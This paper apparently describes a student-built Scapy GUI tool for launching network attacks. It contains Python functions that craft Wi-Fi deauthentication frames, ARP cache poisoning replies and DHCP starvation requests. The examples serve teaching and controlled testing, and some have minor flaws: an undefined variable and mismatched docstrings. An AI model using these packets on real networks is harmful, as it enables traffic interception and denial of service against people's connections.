Demonstration of network attacks with Scapy: scattack, a single platform to launch several attacks

Authors
Affiliation

Sayafdine Said

Sorbonne Université

Aris Berkane

Sorbonne Université

Mohammed Benaissa

Sorbonne Université

Serigne Saliou Ndiaye

Sorbonne Université

Other Formats
Abstract

We present the development of a tool to launch network attacks using the Scapy library, to demonstrate the use of the library in various scenarios. Implemented network attacks include Wi-Fi deauthentication, ARP cache poisoning and DHCP starvation. Are described the usage of the library and its main features, the implementation of the tool and the attacks, and the results of the tests performed. The tool is available at https://github.com/saidsay-so/scattack.

Introduction

Network attacks are a major concern in our world growingly connected. As evidenced by the attacks of SolarWinds (Chowdhury, Tahaei, and Rashid (2022)), which involved the compromise of the SolarWinds Orion platform through a stolen virtual private network (VPN) account, or GitHub (Kottler (2018)) DDoS attack, relying on the use of a memcached amplification attack, the nature of network assaults is as diverse as their consequences.

To defend from such breaches, it is necessary to understand and be able to reproduce those attacks in a controlled environment. Depending on their nature, implementating them require different tools and techniques, from network sniffing to packet crafting.

In this context, the Scapy library is a powerful tool to perform network analysis and penetration testing.

Scapy

Scapy is a packet manipulation library for Python, which allows to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It has been written by Philippe Biondi and the Scapy community in 2003, as a way to perform network analysis and penetration testing in a simple and efficient way, without the need to write complex scripts or programs. It features a simple and extensive API, is able to run on a fairly wide range of platforms, and is open-source, which makes it a very attractive tool for professionals and hobbyists alike. Its ability to craft packets on the fly for a wide range of protocols makes it very versatile. Our goal is to demonstrate the usage of those features to perform several network attacks.

Attacks

To demonstrate the capabilities of the Scapy library, three network attacks, differing in their nature and implementation to better assess the capabilities of the library in multiple scenarios, have been chosen to be implemented:

  • Wi-Fi deauthentication
  • ARP cache poisoning
  • DHCP starvation

Wi-Fi deauthentication

Wi-Fi deauthentication involves sending deauthentication frames to a client connected to a Wi-Fi network. This results in the client being disconnected from the network, and having to re-authenticate to regain access. This can be used to disrupt the connection of legitimate clients to a Wi-Fi network, or to force them to connect to a rogue access point controlled by the attacker.

sequenceDiagram
    participant Attacker as Attacker 🎭
    participant AP as Access Point 🌐
    participant Client as Client 👤

    # Initialization phase
    Attacker->>Client: Deauthentication frame (Client)

    # Ongoing exploitation
    Note over Attacker,Client: Client disconnected from AP
Figure 1: Wi-Fi deauthentication attack sequence diagram
Source: Article Notebook

ARP cache poisoning

ARP cache poisoning works by sending fake Address Resolution Protocol (ARP) messages to an Ethernet LAN. This results in the linking of the attacker’s MAC address with the IP address of a legitimate computer or server on the network. Once the attacker’s MAC address is linked to an authentic IP address, the attacker will begin receiving any data that is intended for that IP address. This allows the attacker to intercept, modify or block the traffic.

sequenceDiagram
    participant Attacker as Attacker 🎭
    participant Target as Target 🎯
    participant Router as Router 🌐
    participant Victim as Victim 👤

    # Initialization phase
    Attacker->>Target: ARP Request (Who has Target's IP?)
    Target->>Attacker: ARP Reply (I have Target's IP, my MAC is A)
    Attacker->>Router: ARP Request (Who has Router's IP?)
    Router->>Attacker: ARP Reply (I have Router's IP, my MAC is B)

    # ARP Cache Poisoning phase
    Attacker->>Victim: ARP Reply (I have Router's IP, my MAC is A)
    Note over Attacker,Victim: Victim updates ARP cache with wrong MAC (A)

    # Traffic redirection phase
    Victim->>Attacker: Regular traffic (MAC address now points to Attacker)

    # Optional: Attacker forwarding traffic to real Target
    Attacker->>Target: Forwarded traffic from Victim

    # Ongoing exploitation
    Note over Attacker,Victim: Attacker intercepts/analyzes traffic
Figure 2: ARP cache poisoning attack sequence diagram
Source: Article Notebook

DHCP starvation

DHCP starvation imply sending a large number of DHCP requests to a DHCP server, with the aim of exhausting the pool of available IP addresses that the server can allocate. This results in the server being unable to allocate IP addresses to legitimate clients, which can lead to a denial of service (DoS) attack.

sequenceDiagram
    participant Attacker as Attacker 🎭
    participant DHCP as DHCP Server 🌐
    participant Victim as Victim   👤

    loop n times (where n is the number of available IP addresses)
        Attacker->>DHCP: DHCP Discover
        DHCP->>Attacker: DHCP Offer (IP address n)
        Attacker->>DHCP: DHCP Request (I want IP address n)
        DHCP->>Attacker: DHCP Ack (IP address n)
    end

    Victim->>DHCP: DHCP Discover
    Note over DHCP,Victim: Server unable to offer IP address
Figure 3: DHCP starvation attack sequence diagram
Source: Article Notebook

Project

These attacks are implemented in our project, which consists in the development of a single platform tool to launch said network attacks using the Scapy library. We chose to implement it as a graphical user interface (GUI) to provide an easy way to select the attack to perform and input its parameters while providing validation and error handling.

Architecture

The tool is implemented in Python, uses the Scapy library to craft and send packets, and the Tkinter library to provide a graphical user interface (GUI) allowing to easily select the attack to perform and to input the necessary parameters.

Graphical user interface of the tool

Graphical user interface of the tool

It follows a modular architecture, with a core module containing the main logic of the tool, and is composed of two main components:

  • The user interface, which allows the user to select the attack to perform and input its parameters, provides validation and error handling,
  • The executor, which takes the parameters from the GUI and performs the attack while returning the errors and results to the GUI.

These components are executed on different threads and communicate using message passing through queues, and a set of commands and responses classes to ensure a unified communication.

classDiagram
    direction RL
    class CommandCompleted {
        +command_id: CommandId
        +result: Exception | None
    }
    class CommandScheduled {
        +command_id: CommandId
    }
    class CommandEvent {
    }

    CommandCompleted ..|> CommandEvent
    CommandScheduled ..|> CommandEvent

    note for CommandCompleted "Sent by the executor to the user interface to indicate that command completion"


    class CommandStartRequest {
        +callback: Callable[[CommandEvent], None]
        +fun: Callable[..., Any]
        +args: Iterable
        +kwargs: dict[str, Any]
        +condition: Callable[[], bool]
        +command_id: CommandId
    }
    class CommandStopRequest {
        +command_id: CommandId
    }
    class CommandRequest {
    }
    note for CommandRequest "Sent by the user interface to the executor to request the execution of a command"

    CommandStartRequest ..|> CommandRequest
    CommandStopRequest ..|> CommandRequest
Figure 4: Class diagram of the command pattern used for communication between the user interface and the executor
Source: Article Notebook

The user interface is composed of a set of forms to input the parameters of the attacks, and a button to start and stop the current attack. Parameters change depending on the attack selected, and are validated to ensure that they are correct before being sent to the executor.

flowchart TB
  subgraph Interface
    B[Attack parameters]
    B --> C[Validation]
    C --> D[Attack request]
    AE[Attack stop]
    E[Result handling]
  end

  D -->|CommandStartRequest| G
  AE -->|CommandStopRequest| G

  subgraph Executor
    direction TB
    G[Attack execution]
    G --> R[Result]
    R -->|CommandCompleted| E
  end

Figure 5: Architecture of the tool
Source: Article Notebook

Usage of Scapy

The library provides a simple and efficient way to craft packets, in the form of a domain-specific language (DSL) using Python syntax, that allows for a robust and efficient definition of any type of packet. The advantage of using Python syntax and a Python interpreter as the DSL syntax and interpreter is threefold: it eliminates the need for a separate interpreter, it spares users from learning a new language, and it provides a comprehensive, succinct, and highly capable language.

Scapy’s design allows users to define a packet or a series of packets as layers stacked on top of each other. Each layer’s fields have practical default values that can be overridden as needed. Scapy does not impose the use of predefined methods or templates, which removes the necessity of creating a new tool for each unique scenario. In contrast to languages like C, where it might take an average of 60 lines to describe a packet, Scapy can accomplish this in just one line.

For example, to craft an ARP poisoned packet:

from scapy.all import Ether, ARP

# ETHER_BROADCAST is a constant defined as a bytes object,
# but could also be a string
ETHER_BROADCAST = bytes.fromhex("ffffffffffff")
ETHER_ANY = "00:00:00:00:00:00"
spoofed_mac = "00:11:22:33:44:55"
spoofed_ip = "127.0.0.1"
target_ips = ["172.0.0.2", "172.0.0.3"]


(
1    Ether(dst=ETHER_BROADCAST, src=spoofed_mac)
2    / ARP(
3        op="is-at",
        psrc=spoofed_ip,
4        pdst=target_ips,
        hwdst=ETHER_ANY,
        hwsrc=spoofed_mac,
    )
)
1
Create an Ethernet frame with the destination MAC address set to the broadcast address and the source MAC address set to the attacker’s MAC address.
2
Add an ARP layer to the frame using the / operator to stack the layers.
3
Set the ARP operation to “is-at” (response) with a string value, which could also be set to 2.
4
Use a list to illustrate that multiple IP addresses can be targeted and for each a different packet will be generated.

Using these crafting capabilities, we implemented the attacks in our tool.

Wi-Fi deauthentication

This attack is very different from the others, as it targets a lower layer of the OSI model which is the data link layer, and more specifically the 802.11 standard for wireless networks. Network attacks at this level are more complex to implement and require a wireless network interface card (NIC) in monitor mode. The attack is performed by sending deauthentication frames to the targeted client (as illustrated in Figure 1), which will result in the client being disconnected from the network. The access point (AP) BSSID is spoofed to make the client believe that the deauthentication frame comes from the AP.

With Scapy, the deauthentication frame is crafted as follows:

from scapy.all import Dot11, Dot11Deauth, RadioTap

def create_deauth_packet(target_mac: str, ap_bssid: str) -> Packet:
    """Create 802.11 deauthentification packet.

    Args:
        target_mac (str): MAC address of the target
        ap_bssid (str): BSSID of the spoofed access point
    Returns:
        Packet: 802.11 deauthentification packet"""
    return (
1      RadioTap()
2      / Dot11(
3          addr1=target_mac,
4          addr2=ap_bssid,
          addr3=ap_bssid,
      )
5      / Dot11Deauth(reason=7)
    )
1
Create a RadioTap frame to allow the injection of the frame into the data link layer.
2
Add a Dot11 layer to the frame for the 802.11 standard frame format.
3
Set the destination MAC address to the client’s MAC address.
4
Set the source and BSSID MAC addresses to the AP’s BSSID.
5
Add a Dot11Deauth layer to the frame to send the deauthentication management frame.

With the user interface, the user can input the MAC address of the client to deauthenticate and the BSSID of the AP to spoof, while ensuring that the input is valid and handling any errors.

Wi-Fi deauthentication attack form, with invalid target MAC address to highlight input validation

Wi-Fi deauthentication attack form, with invalid target MAC address to highlight input validation

The frames can be sent infinitely or a specified number of times, and the user can start and stop the attack at any time.

ARP cache poisoning

This attack is performed by sending fake ARP messages to the target, which will result in the linking of the attacker’s MAC address with the IP address of the target. The attacker will then begin receiving any data that is intended for that IP address. This allows the attacker to intercept, modify or block the traffic.

The packet is forged as follows:

from scapy.all import ARP, Ether

# Create an ARP packet
def create_arppoison_packet(
    target_ip: str,
    spoofed_ip: str,
    spoofed_mac: str | None = None,
) -> Packet:
    """Create ARP packet.

    Args:
        target_mac (str): MAC address of the target
        target_ip (str): IP address of the target
        spoofed_ip (str):
         IP address of the spoofed IP address
    Returns:
        Ether: ARP packet"""
    return (
1      Ether(dst="ff:ff:ff:ff:ff:ff")
2      / ARP(
3          op=2,
4          psrc=spoofed_ip,
5          pdst=target_ips,
6          hwdst="00:00:00:00:00:00",
7          hwsrc=spoofed_mac,
      )
    )
1
Create an Ethernet frame with the destination MAC address set to the broadcast address.
2
Add an ARP layer to the frame using the / operator to stack the layers.
3
Set the ARP operation to 2 (response).
4
Set the source IP address to the attacker’s IP address.
5
Set the destination IP address to the target’s IP address.
6
Set the destination MAC address to the broadcast address.
7
Set the source MAC address to the attacker’s MAC address.

With the user interface, the user can input the MAC and IP addressses to spoof, while ensuring that the input is valid.

ARP cache poisoning attack form, with invalid target IP address to highlight input validation

ARP cache poisoning attack form, with invalid target IP address to highlight input validation

The frames can be sent infinitely or a specified number of times.

DHCP starvation

This attack is performed by sending a large number of DHCP requests to a DHCP server, with the aim of exhausting its pool of available IP addresses. This results in the server being unable to allocate IP addresses to legitimate clients, which can lead to a denial of service (DoS) attack.

In terms of Scapy, the DHCP starvation is crafted as follows:

from scapy.all import BOOTP, DHCP, Ether, IP, UDP

def create_dhcp_starve_packet(
    ip: str,
    target_mac: str = ETHER_BROADCAST,
) -> Packet:
    """Create DHCP packet.

    Args:
        ip (str): IP address to request
        server_ip (str): IP address of the server
    Returns:
        Packet: DHCP packet"""
    mac = RandMAC()
    return (
1        Ether(src=mac, dst=target_mac)
2        / IP(src=IP_ANY, dst=IP_BROADCAST)
3        / UDP(sport=68, dport=67)
4        / BOOTP(chaddr=mac)
5        / DHCP(
            options=[
6                ("message-type", "request"),
7                ("requested_addr", ip),
8                "end",
            ]
        )
    )
1
Create an Ethernet frame with the source MAC address set to a random MAC address and the destination MAC address set to the target’s MAC address.
2
Add the IP layer to the frame with the usual source and destination IP addresses for a DHCP request.
3
Add the UDP layer to the frame with the usual source and destination ports for a DHCP request.
4
Add the BOOTP layer to the frame with the source MAC address set to a random MAC address.
5
Add the DHCP layer to the frame with its options.
6
Set the DHCP message type to “request”.
7
Set the requested IP address to the IP address to request from the DHCP server pool.
8
Add the “end” option to the DHCP packet to indicate the end of the options.

With the user interface, the user can input the range of IP addresses to request from the DHCP server with an indication of the number of requests to send, and the target MAC address.

DHCP starvation attack form

DHCP starvation attack form

References

Chowdhury, Partha Das, Mohammad Tahaei, and Awais Rashid. 2022. “Better Call Saltzer & Schroeder: A Retrospective Security Analysis of SolarWinds & Log4j.” https://arxiv.org/abs/2211.02341.
Kottler, Sam. 2018. “February 28th DDoS Incident Report.” The GitHub Blog. https://github.blog/2018-03-01-ddos-incident-report/.